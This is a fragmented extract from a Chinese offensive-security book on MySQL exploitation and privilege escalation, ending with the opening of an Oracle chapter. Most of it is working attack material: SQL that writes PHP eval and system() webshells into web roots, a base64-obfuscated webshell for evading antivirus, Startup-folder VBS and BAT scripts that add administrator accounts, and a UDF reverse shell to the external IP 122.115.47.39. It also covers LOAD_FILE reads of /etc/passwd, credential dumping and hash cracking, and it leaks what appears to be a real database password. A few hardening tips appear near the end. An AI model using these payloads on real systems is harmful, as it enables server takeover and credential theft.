    {"text": "292 第 5 章 MySQL 漏洞利用与提权 图 5-33 查看泄露的其他文件 图 5-34 获取数据库用户账号和密码 5.6.2 获取 WebShel 1．连接并查看数据库 如图 5-35 所示，在浏览器中打开 http://183.***.160.***:5555/phpMyAdmin/，输入刚才获取的账 号，直接登录。"},
    {"text": "图 5-35 登录并查看数据库信息 2．导出一句话后门到服务器 目前导出一句话后门的方法有如下几种。 （1）创建表方式 CREATE TABLÈmysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); INSERT INTÒmysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>'); SELECT `darkmoon1` FROM `darkmoonÌNTO OUTFILE 'd:/www/exehack.php'; DROP TABLE IF EXISTS `darkmoon`; 上面的代码是在 MySQL 数据库中创建 darkmoon 表，然后在其中加入一个名为“darkmoon1” 的字段，并在该字段中插入一句话后门，从该字段里导出一句话后门到网站的真实路径 d:/ www/exehack.php 下，最后删除 darkmoon 表，执行效果如图 5-36 所示。 293 网络攻防实战研究：漏洞利用与提权 图 5-36 执行一句话后门 注意 在使用以上代码时必须选择 MySQL 数据库，并在 phpMyAdmin 中选择 SQL，需要修改的地方 是网站的真实路径和文件名“d:/www/exehack.php”。 （2）直接导出一句话后门文件 select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php' 如果显示结果类似“您的 SQL 语句已成功运行（查询花费 0.0006 秒）”，表明后门文件生成 成功。"},
    {"text": "（3）直接执行具有命令权限的 Shell select '<?php echo \\'<pre>\\';system($_GET[\\'cmd\\']); echo \\'</pre>\\'; ?>' INTO OUTFILE 'd:/www/cmd.php' 使用该方法导出成功后，可以直接执行 DOS 命令，使用方法为“www.xxx.com/cmd.php?cmd=” （在“cmd=”后面直接执行 DOS 命令），如图 5-37 所示。"},
    {"text": "在“中国菜刀”一句话后门管理工具中添加该地址，直接获取 WebShell，如图 5-39 所示。 294 第 5 章 MySQL 漏洞利用与提权 图 5-38 测试导出的 WebShell 图 5-39 获取 WebShell 5.6.3 服务器提权 1．获取 Windows 操作系统的管理员密码 在“中国菜刀”远程终端命令窗口直接执行命令，如图 5-40 所示，可以查看是否开启了 3389 端口、系统当前用户的权限及当前都有哪些用户。"},
    {"text": "上传 wce64.exe 并执行“wce64 -w”命令，获取当 前登录的明文密码，如图 5-41 所示。 图 5-40 执行命令 图 5-41 获取系统管理员的密码 2．登录 3389 端口 在本地打开 mstsc.exe，直接输入用户名和密码登录。"},
    {"text": "攻击者可以通过查看 MySQL 数据库中有关用户及密码信息的表，特别是含有管理员信息的 表，结合 WebShell 等实施控制。 利用 MySQL 应用程序漏洞进行攻击，通常表现为查看 MySQL 的版本并利用 MySQL 溢出 等程序对服务器进行溢出攻击。"},
    {"text": "攻击者会对这种服务器进行暴力破解， 特别是在内网中，通过前期渗透获取了一些口令，使用获取的口令和常见的密码字典进行攻击，往 往会取得意想不到的效果。"},
    {"text": "1．设置 Hscan 设置扫描起始和结束 IP 地址，然后在扫描模块中选择“Check MYSQL weak accounts”选项，如 图 5-43 所示。 设置完毕，在“Menu”菜单中选择“Start”选项，开始扫描 MySQL 弱口令。"},
    {"text": "296 第 5 章 MySQL 漏洞利用与提权 图 5-43 设置 MySQL 扫描参数 图 5-44 MySQL 扫描结果 3．连接数据库并查看数据库服务器中的数据库 单击选择一条扫描记录，然后单击“connect”命令连接 MySQL 数据库。"},
    {"text": "在 MySQL 中有一些常用的命令： “show databases； ”命令用于查看数据库服务器中的数据库， “show tables； ”命令用于查看当前数据库中的表，“use databasename； ”命令用于将名为 “databasename”的数据库作为当前数据库。"},
    {"text": "show databases ; use test; show tables; create table a (cmd text); insert into a values (\"set wshshell=createobject (\"\"wscript.shell\"\" ) \" ); insert into a values (\"a=wshshell.run (\"\"cmd.exe /c net user aspnet aspnettest/add\"\",0)\") ; insert into a values (\"b=wshshell.run (\"\"cmd.exe /c net localgroup Administrators aspnet /add\"\",0) \" ); select * from a; 图 5-46 创建表和将 vbs 脚本插入表 2．导出 vbs 脚本到启动选项 使用如下命令将刚才在 a 表中创建的 vbs 脚本导出到启动选项中。 select * from a into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\「开始」 菜单\\\\程序\\\\启动\\\\a.vbs\"; 导入成功后，系统重新启动时会自动添加用户且密码为“1”、名为“1”的用户到管理员组中。"},
    {"text": "show databases ; use test; show tables; create table b (cmd text); insert into b values (\"net user Aspnet 123545345!* /add\"); insert into b values (\"net localgroup administrators Aspnet /add\"); insert into b values (\"del b.bat\"); select * from b into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\「开始」 菜单\\\\程序\\\\启动\\\\b.bat\"; 298 第 5 章 MySQL 漏洞利用与提权 该脚本执行后虽然会闪现 DOS 窗口，但如果有导入启动选项的权限，则一定会执行成功。 图 5-47 导出脚本错误 在虚拟机中，通过 MySQL 连接器连接并执行以上命令后，在“C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动”目录中会有刚才导出的 b.bat 脚本文件，如图 5-48 所示。 图 5-48 导出 bat 脚本到启动选项 说明 在不同的操作系统中，“C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动”目录中的 文件名可能会不同，这时就要将其目录名换成相应的名称。"},
    {"text": "select * from b into outfile \"C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\b.bat\"; Windows 2008 Server 的 启 动 目 录 为 ： C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\iis.vbs 其 vbs 方法可以参考如下写法。 create table a (cmd text); insert into a values (\"set wshshell=createobject (\"\"wscript.shell\"\" ) \" ); 299 网络攻防实战研究：漏洞利用与提权 insert into a values (\"a=wshshell.run (\"\"cmd.exe /c net user antian365 qwer1234!@# /add\"\",0) \" ); insert into a values (\"b=wshshell.run (\"\"cmd.exe /c net localgroup Administrators antian365 /add\"\",0) \" ); select * from a into outfile \"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\iis.vbs\"; 3．等待重启和实施控制 如果该计算机开放了 3389 端口，则可以直接连接。"},
    {"text": "图 5-49 查看表中的信息 在 MySQL 数据库中，一般会存在多个数据库，通过“show databases;”、“show tablesname;”及 “select * from tablesname;”等命令可以获取表中的具体内容，通过查看其中的内容可以进行 Web 服 务器域名信息的定位及一些网站管理员的用户名和密码的获取。"},
    {"text": "通过创建表，将 vbs 脚本插入表中，导出到系统的启动目录下，系统重新启动以后，会 自动添加用户，进而通过远程终端的 3389 端口连接该 MySQL 服务器所在的计算机，成功实施控制。"},
    {"text": "如图 5-52 所示，获取网站真实路径 “E:\\PHPnow-1.5.6\\htdocs”，通过 phpMyAdmin 直接通过一句话后门导出 WebShell 为“select '<?php @eval($_POST [pass]);?>'INTO OUTFILE 'E:/PHPnow-1.5.6/htdocs/p.php'”。"},
    {"text": "Parse error: syntax error, unexpected T_NS_SEPARATOR, expecting T_STRING in E:\\PHPnow-1.5.6\\htdocs\\cmd.php on line 22 301 网络攻防实战研究：漏洞利用与提权 图 5-53 无法执行命令 图 5-54 提示出错信息 如图 5-55 所示，通过一些提权的 PHP 大马，安装 UDF 进行提权。"},
    {"text": "图 5-55 大马 WebShell 也无法执行命令 5.8.4 使用反弹端口提权 使用《MySQL 数据库反弹端口连接提权》（https://xianzhi.aliyun.com/forum/read/774.html）一文 中的方法，先通过“中国菜刀”配置数据库，然后执行查询，将 mysqldll.dll 导出到插件中。"},
    {"text": "（2）select @@datadir;语句 获取路径“E:\\PHPnow-1.5.6\\MySQL-5.0.90\\data\\”。 （3）将 mysqldll.dll 导出到系统目录 对 mysql.txt 文件内容进行查询，创建 ghost 表，并把 mysqlldll.dll 文件通过 load_file 写入数据库 表 ghost，然后执行如下导出命令。 select data from Ghost into dumpfile 'c:/windows/mysqldll.dll' 注意，在 phpMyAdmin 中执行上面的语句会出现如下错误提示。"},
    {"text": "#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LIMIT 0, 30' at line 2 使用“中国菜刀”的数据库管理功能执行命令，则没有问题。"},
    {"text": "302 第 5 章 MySQL 漏洞利用与提权 CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll' Can't open shared library 'mysqldll.dll' (errno: 2 ) 图 5-56 func 函数中没有写入值 通过翻看服务器上的源代码，发现服务器上面还有一个 MySQL 数据库是 root 账号（对应密码 为“201007201qaz@WSX”，端口为 3309）。"},
    {"text": "通过“中国菜刀”进行配置，并执行“SHOW VARIABLES WHERE Variable_Name LIKE \"%dir\"”命令，获取数据库的插件位置“D:\\server\\ mysql-5.5.19-winx64\\ lib\\plugin\\”及数据库版本 5.5.19-log，如图 5-57 所示。"},
    {"text": "图 5-58 host 允许远程连接 直接通过客户端工具进行连接，并执行如下查询命令，重新创建表并导出 dll 文件，如图 5-59 和图 5-60 所示，成功导出 mysqlDLL.dll 文件。 303 网络攻防实战研究：漏洞利用与提权 select data from Ghost into dumpfile 'D:/server/mysql-5.5.19-winx64/lib/plugin/ mysqlDLL.dll'; 图 5-59 再次执行查询 图 5-60 成功导出 mysqldll.dll （4）执行反弹 执行“select backshell(\"122.115.47.39\",4433);”命令进行反弹，如图 5-61 所示，反弹服务器 IP 地址为 122.115.47.39，端口为 4433。 图 5-61 执行反弹 304 第 5 章 MySQL 漏洞利用与提权 （5）获取反弹 Shell 在执行反弹前，需要在 122.115.47.39 服务器上执行“nc -vv -l -p 4433”命令进行监听，如图 5-62 所示，成功获取反弹 Shell。 图 5-62 成功获取反弹 shell （6）添加管理员用户到服务器 分别执行命令“net1 localgroup administrators”、 “net1 user king$ temp2005 /add”和“net1 localgroup administrators king$ /add”，查看管理员组并添加用户 king$到管理员组。"},
    {"text": "如图 5-63 所示，在系统中开 始执行 net 命令并未成功，到后面才知道原因（需要带路径执行）。 有些时候，系统对 net 命令进行 了限制，此时可以使用 net1 命令，或者自己上传一个 net.exe 来执行。"},
    {"text": "图 5-63 添加一个管理员用户 图 5-64 登录 3389 5.8.5 总结与思考 本次渗透成功后，在服务器上发现了很多后门，可见渗透无时无刻不在发生。"},
    {"text": "305 网络攻防实战研究：漏洞利用与提权 5.9 phpMyAdmin 漏洞利用与安全防范 FreeBuf 上最近刊发了一篇文章《下一个猎杀目标：近期大量 MySQL 数据库遭勒索攻击》， （http://www.freebuf.com/news/127945.html）。 笔者在对 phpMyAdmin 漏洞进行研究时也发现，国内的 一些数据库中已经存在数据库病毒甚至勒索信息，这些病毒的一个表现就是会在 MySQL 的 user 表 中创建名字随机的表，表内容为二进制文件，有的是可执行文件，有的会在 Windows 系统目下生成 大量的 vbs 文件，感染系统文件或者传播病毒。 在 Zoomeye 中搜索关键字“phpMyAdmin”，我国位 居第二，如图 5-65 所示，很多公司和个人都喜欢使用 phpMyAdmin 来管理 MySQL 数据库。 图 5-65 我国大量使用 phpMyAdmin phpMyAdmin 功能非常强大，可以执行命令、导入或者导出数据库。 可以说，通过 phpMyAdmin 可以完全操控 MySQL 数据库。"},
    {"text": "phpMyAdmin 在一些流 行的架构中大量使用，例如 phpStudy、PHPnow、WAMP、LAMP、XAMP 等，这些架构的默认密码 为 root，如果未修改密码，将极易被渗透。"},
    {"text": "5.9.1 MySQL root 账号密码获取思路 1．源代码泄露 在有些 CMS 系统中，对 config.inc.php 及 config.php 等数据库配置文件进行编辑时，有可能直接 生成 bak 文件，这些文件可以直接读取和下载。"},
    {"text": "通过目录信息泄露，攻击者可以下载源代码等打包文件，从这些打包文件或者代码中获取网站数 据库配置文件，从而获取 root 账号和密码，例如在 rar、tar.gz 文件中搜索关键字“config”、 “db”等。"},
    {"text": "306 第 5 章 MySQL 漏洞利用与提权 2．暴力破解 经过实践，可以通过 Burp Suit 等工具对 phpMyAdmin 的密码实施暴力破解，甚至可以通过不同 的字典对单个 IP 地址或者多个 URL 进行暴力破解。"},
    {"text": "5.9.2 获取网站真实路径的思路 1．Phpinfo()函数获取法 最直接的获取网站真实路径的方法是通过 phpinfo.php 也即 phpinfo()函数获取，在其页面中会显 示网站的真实物理路径。"},
    {"text": "SELECT LOAD_FILE('/etc/passwd' ) SELECT LOAD_FILE('/etc/passwd' ) SELECT LOAD_FILE('/etc/issues' ) SELECT LOAD_FILE('/etc/etc/rc.local' ) SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) SELECT LOAD_FILE('/etc/nginx/nginx.conf' ) SELECT LOAD_FILE( 'C:/phpstudy/Apache/conf/vhosts.conf' ) select load_file('c:/xampp/apache/conf/httpd.conf'); select load_file('d:/xampp/apache/conf/httpd.conf'); select load_file('e:/xampp/apache/conf/httpd.conf'); select load_file('f:/xampp/apache/conf/httpd.conf'); 4．通过查看数据库表内容获取 在一些 CMS 系统中会保存网站配置文件，或者网站的正式路径。 通过 phpMyAdmin 进入数据 库查看各配置库表及保存了文件地址的表即可获取网站的真实路径。 5．进入后台查看 有些系统会在后台生成网站运行的基本情况，这些信息中包含网站的真实路径，也有一些是 phpinfo()函数。 6．百度搜索出错信息 通过百度、zoomeye.org、shadon 等搜索引擎搜索关键字“error”、“waring”等，通过快照或者 307 网络攻防实战研究：漏洞利用与提权 访问页面来获取网站的真实路径，例如“site:antian365.com error”、“site:antian365.com warning”。"},
    {"text": "1．直接读取后门文件 通过程序报错、phpinfo()函数、程序配置表等直接获取网站的真实路径。 有些网站已经被渗透 过，在目录下会留有后门文件，可以通过 load_file 直接读取。 2．直接导出一句话后门 采用这种方式的前提是要知道网站的真实物理路径。 可以通过执行以下查询命令来获取一句话 后门文件 antian365.php，从而访问地址 http://www.somesite.com/ antian365.php。 select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365. php' 3．创建数据库导出一句话后门 在查询窗口直接执行以下代码。 CREATE TABLÈmysql`.àntian365` (`temp` TEXT NOTNULL ); INSERT INTÒmysql`.àntian365` (`temp` ) VALUES('<?php @eval($_POST [antian365]);?>'); SELECT `temp` FROM àntian365ÌNTO OUTFILE'D:/www/antian365.php'; DROP TABLE IF EXISTS àntian365`; 4．可执行命令 创建执行命令形式的 Shell，但前提是对方未关闭系统函数。"},
    {"text": "select '<?php echo \\'<pre>\\';system($_GET[\\'cmd\\']); echo \\'</pre>\\'; ?>' INTO OUTFILE 'd:/www/antian365.php' 5．绕过杀毒软件 通过后台或者可以上传图片的地方上传图片 publicguide.jpg，内容如下。 <?php $a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_ reporting(0);@set_time_limit(0);eval(\"?>\".base64_decode($a));?> 通过图片所包含的 temp.php 导出 WebShell，示例如下。 select '<?php include 'publicguide.jpg' ?>' INTO OUTFILE 'D:/work/WWW/ antian365.php' 6．直接导出加密的 WebShell 一句话后门文件密码为“pp64mqa2x1rnw68”。 执行如下查询命令，直接导出加密的 WebShell， 即 D:/WEB/IPTEST/22.php（在实际应用中需要修改“D:/WEB/IPTEST/22.php”）。"},
    {"text": "可以通过 CMS 系统管理账号登录系统，寻找漏洞来突破。 例如，对 DedeCms 可以通过破解管理员账号后直 接上传文件来获取 WebShell，对 Discuz!的 UC_key 可以直接获取 WebShell，在某些系统中甚至可以 直接上传 PHP 文件。 下面是一些 CMS 系统渗透的技巧。"},
    {"text": "Discuz!论坛账号保存在 ucenter_members（Discuz! 7.x 及以上版本）或者 cdb_members （Discuz! 6.x 版本）表中，其破解需要带“salt”进行（在破解时使用 password:salt 的形式， 例如 a0513df9929afc972f024fa4e586e829:399793）。"},
    {"text": "2．查看数据库版本和数据路径 SELECT VERSION( ); Select @@datadir; MySQL 5.1 以下版本，将 dll 导入 c:/windows 或者 c:/windows/system32/中。 MySQL 5.1 及以上版本，通过以下查询命令获取插件路径。"},
    {"text": "SHOW VARIABLES WHERE Variable_Name LIKE \"%dir\"; show variables like '%plugins%' ; select load_file('C:/phpStudy/Apache/conf/httpd.conf') select load_file('C:/phpStudy/Apache/conf/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf') select load_file('d:/phpStudy/Apache/conf/vhosts.conf') 3．直接导出 UDF 文件为 mysqldll （1）执行导入 ghost 表中的内容 修改以下代码的末尾代码。 select backshell(\"YourIP\",4444); （2）导出文件到某个目录 select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/ mysqldll'; 310 第 5 章 MySQL 漏洞利用与提权 select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/ mysqldll.dll'; （3）查看 FUNCTION 中是否存在 CMDShell 和 BackShell，若存在则将其删除 drop FUNCTION cmdshell;//删除 cmdshell drop FUNCTION backshell;//删除 backshell （4）创建 BackShell CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建 backshell （5）在具备独立主机的服务器上执行监听 nc -vv -l -p 44444 （6）执行查询 select backshell(\"192.192.192.1\",44444); //修改 192.192.192.1 为你的 IP 地址和端口 （7）获取 WebShell 后添加用户命令 如果不能直接执行，则需要到 c:\\windows\\system32\\下执行，命令如下。"},
    {"text": "net user antian365 Www.Antian365.Com /add net localgroup administrators antian365 5.9.5 phpMyAdmin 漏洞防范方法 使用 phpinfo()函数查看环境变量后，尽量及时将其删除，以免泄露真实路径。"},
    {"text": "使用 LAMP 架构安装时，需要修改其默认 root 账号所对应的弱口令及 admin/wdlinux.cn。 LAMP 集成了 proftpd，默认用户是“nobody”，密码是“lamp”，安装完成后也需要修改。"},
    {"text": "严格控制目录写权限，除文件上传目录允许写入外，其他文件及其目录在配置完成后将禁用 写权限，并在上传目录中去掉执行权限。 部署系统并运行后，上传无关文件，不在网站中进行源代码打包及导出数据库文件的操作。"},
    {"text": "5.10 巧用 Cain 破解 MySQL 数据库密码 MySQL 数据库用户的密码与其他数据库用户的密码一样，在应用系统代码中都是以明文形式出 现的，在获取文件读取权限后即可直接从数据库连接文件中读取。 例如，ASP 代码中的 conn.asp 数 据库连接文件中一般都包含数据库类型、物理位置、用户名和密码等信息，而在 MySQL 中，即使 311 网络攻防实战研究：漏洞利用与提权 获取了某个用户的数据库用户（root 用户除外）的密码，也只能操作该用户的数据库中的数据。 实 际攻防过程中，在获取了 WebShell 的情况下，可以直接下载 MySQL 数据库中保留的 user.myd 文件。"},
    {"text": "设想一下：一旦获取 了一定的网站权限，如果能够获取 MySQL 中保存的用户数据，那么解密后即可通过正常途径访问 数据库，一方面可以直接操作数据库中的数据，另一方面可以用来提升权限。"},
    {"text": "5.10.1 MySQL 加密方式 MySQL 数据库的认证密码有两种方式，MySQL 4.1 之前的版本是 MySQL323 加密，MySQL 4.1 及之后的版本都是 MySQLSHA1 加密。 MySQL 数据库自带 Old_Password(str) 和 Password(str) 函数， 它们均可以在 MySQL 数据库里进行查询，前者是 MySQL323 加密，后者是 MySQLSHA1 加密。 1．以 MySQL323 方式加密 以 MySQL323 方式加密，示例如下。"},
    {"text": "MySQLSHA1 = *A2EBAE36132928537ADA8E6D1F7C5C5886713CC2 执行结果如图 5-66 所示，MySQL323 加密生成的是 16 位字符串，而 MySQLSHA1 加密生成的 是 41 位字符串，其中“*”不参加实际的密码运算。 通过观察发现，很多用户都携带了“*”，在实 际破解过程中需要去掉“*”，也就是说，MySQLSHA1 加密密码的实际位数是 40 位。"},
    {"text": "图 5-66 在 MySQL 数据库中查询同一密码的不同 SHA 值 312 第 5 章 MySQL 漏洞利用与提权 5.10.2 MySQL 数据库文件结构 1．MySQL 数据库文件类型 MySQL 数据库文件有 FRM、MYD 和 MYI 共 3 种格式。"},
    {"text": "MySQL 数据库的用户密码都保存在 user.MYD 文件中，包 括 root 用户和其他用户的密码。 图 5-67 MySQL 数据库用户密码文件 5.10.3 获取 MySQL 数据库用户密码加密字符串 使用 UltraEdit-32 编辑器直接打开 user.MYD 文件，打开后使用二进制模式查看。"},
    {"text": "313 网络攻防实战研究：漏洞利用与提权 图 5-68 获取加密的字符串 5.10.4 将 MySQL 用户密码字符串加入 Cain 破解列表 本节使用 Cain & Abel（简称“Cain）破解 MySQL 数据库用户的密码。"},
    {"text": "Cain & Abel 是一个可以 破解屏保、PWL 密码、共享密码、缓存口令、远程共享口令、SMB 口令，支持 VNC 口令解码、Cisco Type-7 口令解码、Base64 口令解码、SQL Server 7.0/2000 口令解码、Remote Desktop 口令解码、Access Database 口令解码、Cisco PIX Firewall 口令解码、Cisco MD5 解码、NTLM Session Security 口令解码、 IKE Aggressive Mode Pre-Shared Keys 口令解码、Dialup 口令解码、远程桌面口令解码等的综合工具， 还可以实现远程破解、挂字典及暴力破解，其 Sniffer 功能极其强大，几乎可以明文捕获一切账号口令， 包括 FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、 MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys Authentications。"},
    {"text": "在 Cain & Abel 主界面中单击“Cracker”标签，然后将用户密码的加密字符串“506D1427F6F6 1696B4501445C90624897266DAE3”加入 MySQL Hashes 破解列表中，如图 5-69 所示。"},
    {"text": "图 5-69 使用 Cain 破解 MySQL 密码主界面 图 5-70 添加 MySQL Hashes 314 第 5 章 MySQL 漏洞利用与提权 5.10.5 使用字典进行破解 如图 5-71 所示，选中刚才添加的需要破解的字符串，然后选择“Dictionary Attack”（字典破解） 选项，在弹出的菜单中选择“MySQL SHA1 Hashes”方式进行破解。"},
    {"text": "图 5-71 选择破解方式 选择“Dictionary Attack” （字典破解）选项后，会出现一个窗口，主要用于选择字典。 如图 5-72 所示，在“Dictionary”设置区下方单击右键，可以添加一个或者多个字典文件。 字典选择完毕，可 以在“Options”（选项）设置区中进行选择，然后单击“Start”按钮进行破解。 图 5-72 MySQL 字典破解设置 说明 在“Options”设置区中一共有 8 种方式，具体如下。"},
    {"text": "1．字典破解与字典强度有关 依次单击“开始”→“程序”→“MySQL”→“MySQL Server 5.0”→“MySQL Command Line Client”选项，打开 MySQL Command Line Client，输入密码后，输入以下代码设置新的密码。 Use MySQL update user set password=password(\"1977-05-05\") where user=\"root\"; flush privileges; 本例中将原来的密码修改为“1977-05-05”，其结果如图 5-74 所示。 再次使用 UltraEdit-32 打开 C:\\Program Files\\MySQL\\MySQL Server 5.0\\data\\MYSQL\\user.MYD， 获取其新的密码字符串“B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12”，重新选择一个字典 文件，本例选择生成的生日字典，如图 5-75 和图 5-76 所示，仅选择小写字符串进行破解，很快就获 取了破解结果。 316 第 5 章 MySQL 漏洞利用与提权 图 5-74 修改 MySQL 用户密码 图 5-75 再次破解 MySQL 密码 图 5-76 修改 MySQL 密码后再次进行破解 实际结果表明，使用 Cain 破解 MySQL 密码时，如果采用字典破解，那么破解效果与字典强度 有关，只要破解的密码在字典中，就一定能够破解。 2．使用彩虹表进行破解 Cain 还提供了彩虹表破解 MySQL 密码的方式，在破解方式中选择“Cryptanalysis Attack”→ “MySQL SHA1 Hashes via RainbowTables”选项即可，如图 5-77 和图 5-78 所示。 图 5-77 使用彩虹表破解方式 317 网络攻防实战研究：漏洞利用与提权 图 5-78 使用彩虹表进行破解 在实际测试过程中，由于网络上提供的 SHA 彩虹表是 RTI 格式的，而 Cain 中使用的是 RT 格式 的，笔者将下载的所有彩虹表中文件后缀由“RTI”修改为“RT”，然后进行破解，提示破解不成功。"},
    {"text": "在 Cain 主界面中单击计算机图标按钮，弹出 Hash 计算器，在 “Text to hash”输入框中输入需要转换的原始值，例如“12345678”，单击“Calculate”按钮进行计算， 如图 5-79 所示，可以看到 14 种 Hash 值。"},
    {"text": "4．生成彩虹表 在 Cain 的安装目录 C:\\Program Files\\Cain\\Winrtgen 中直接运行 Winrtgen，如图 5-80 所示，该工 具为彩虹表生成器，可以很方便地生成各种类型的彩虹表值。"},
    {"text": "图 5-79 计算 Hash 值 图 5-80 Winrtgen 彩虹表生成工具 5．设置彩虹表 单击“Add Table”按钮，在“Rainbow Table properties”对话框的“Hash”下拉列表中选择 “mysqlsha1”选项，根据实际情况分别设置“Min Len”、“Max Len”、“Index”、“Chain Len”、“Chain Count”及“N of tables”的值，一般情况下，仅需要设置“Min Len”、“Max Len”及“N of tables” 318 第 5 章 MySQL 漏洞利用与提权 的值。"},
    {"text": "“N of tables”主要用来测试 Hash 生成的完整度，输入不同的值，会在“Table properties”显 示区中显示百分比，使用户可以通过尝试确定一共需要生成多少个表，单击“Benchmark”按钮可以 进行时间估算，如图 5-81 所示。"},
    {"text": "图 5-81 设置彩虹表 图 5-82 开始生成彩虹表 由于生成彩虹表的时间比较长，在网上也没有搜索到以“rt”结尾的 MySQL SHa1 Hash 表，因 此，本次破解主要以字典破解为主，彩虹表的破解将在全部生成后进行。"},
    {"text": "（2）实施方案 下载并安装最新的 MySQL 安全补丁，使用如下命令查看当前补丁的版本。 mysql> SELECT VERSION(), （3）实施目的 确保数据库为企业版，并且安装了最新的安全补丁。"},
    {"text": "检查本地密码，命令如下（注意：管理账号 root 默认密码为空）。 mysql> use mysql; mysql> select Host,User,Password,Select_priv,Grant_priv from user; 如要修改密码，可执行如下命令。 mysql> update user set password=password('test!p3') where user='root'; mysql> flush privileges; （3）实施目的 确保系统中不存在弱密码。"},
    {"text": "（5）备注 弱密码是指比较简单的字符组合，例如空字符串、密码与账号相同、纯数字、生日、电话号码、 姓名缩写+生日、常用的英文单词及用户名的简单变换等。"},
    {"text": "5.11.3 匿名账户检查 （1）操作名称 检查匿名账户是否存在。 （2）实施方案 检查本地账户，命令如下（注意：默认存在用户名为空的匿名账户）。"},
    {"text": "mysql> use mysql; mysql> select Host,User,Password,Select_priv,Grant_priv from user; 删除匿名账户，命令如下。 mysql> delete from user where user=''; mysql> flush privileges; （3）实施目的 确保系统中不存在匿名账户。"},
    {"text": "mysql> use mysql; mysql> select * from user; mysql>select * from db; mysql>select * from host; mysql>select * from tables_priv; mysql>select * from columns_priv; 回收不必要的或危险的授权，可以执行如下 revoke 命令。 mysql> help revoke Name: 'REVOKE' Description: Syntax: REVOKE priv_type [(column_list)] [, priv_type [(column_list)]] ... ON [object_type] { * | *.* | db_name.* | db_name.tbl_name | tbl_name | db_name.routine_name } FROM user [, user] ... （3）实施目的 确保数据库中没有不必要的或危险的授权。"},
    {"text": "# ls -al .mysql_history .bash_history //应为 600 权限 #ls –al /etc/my.cnf //应为 644 权限 #find / -name .MYD |xargs ls –al //应为 600 权限 #find / -name .MYI |xargs ls –al //应为 600 权限 #find / -name .frm |xargs ls –al //应为 600 权限 保护数据库文件，并为用户授予恰当的权限，命令如下。 #chmod 600 .mysql_history .bash_history #chmod 600 *.MYD *.MYI *.frm #chmod o-rw /etc/my.cnf （3）实施目的 拒绝未授权用户访问数据库文件。"},
    {"text": "# ps -ef|grep mysqld #grep -i user /etc/my.cnf 可以在/etc/my.cnf 中设置，命令如下。 [mysql.server] user=mysql （3）实施目的 以普通账户安全运行 mysqld。"},
    {"text": "作为世界上 第一个支持 SQL 语言的关系型数据库，Oracle 提供了丰富的包、存储过程，支持 Java 和创建 Library， 拥有丰富的系统表，几乎所有的信息都存储在系统表里，包括当前数据库运行的状态、用户的信息、 数据库的信息、用户所能访问的数据库和表的信息等。"},
    {"text": "对 Oracle 的攻击主要包括弱口令或默认口令的猜解、 SQL 注入、权限配置不当、拒绝服务攻击等。 本章主要内容 Ê Oracle 提权基础 Ê Oracle 口令破解 Ê 通过注入存储过程提升数据库用户权限 Ê Web 下的 SQL 注入及提权 Ê 在 Oracle 上利用 Java 执行命令 Ê 利用 SQL*Plus 获取 WebShell Ê Oracle 数据库备份 Ê Oracle 数据库攻击的防范方法 6.1 Oracle 提权基础 作为世界上第一个支持 SQL 语言的关系型数据库，Oracle 提供了第三代高级语言的接口软件 PRO*系列，能在 C、C++等语言中嵌入 SQL 语句或 PL/SQL 语句，对数据库中的数据进行操纵。"},
    {"text": "在安全性方面，Oracle 数据库制定了完善的安全策略，提供了详尽的安全机制，采用了基于角 色分工的安全管理，在数据库管理功能、完整性检查、一致性上都有很好的表现。 Oracle 公司为其 数据库的安全付出了很大的努力，试图让 Oracle 数据库完美无瑕，但事实总是不能如人所愿，Oracle 第 6 章 Oracle 漏洞利用与提权 数据库在提供强大功能的同时也带来了众多隐患。"},
    {"text": "6.1.1 Oracle 的安装 1．利用安装文件安装 Oracle 可以安装在 Windows、Linux 等操作系统中，安装文件可以从其官网下载，下载地址为 http://www.oracle.com/technetwork/indexes/downloads/index.html#database。"},
    {"text": "图 6-2 配置管理口令 325 网络攻防实战研究：漏洞利用与提权 2．使用 Docker 安装 Oracle Docker 是一个开源的应用容器引擎，让开发者可以将他们的应用及依赖包打包到一个可移植的 容器中，然后发布到任何流行的 Linux 机器上，也可以实现虚拟化。"},
    {"text": "安装 Docker 后，执行“docker pull wnameless/oracle-xe-11g”命令即 可获取 Oracle 11g 的镜像文件。 （2）启动 oracle-xe-11g 镜像 获取镜像文件后，利用如下命令启动 oracle-xe-11g 镜像。 docker run -d -p 49160:22 -p 49161:1521 -e ORACLE_ALLOW_REMOTE=true wnameless/oracle-xe-11g Oracle 的端口配置为 49161，镜像 SSH 远程管理端口配置为 49160。"},
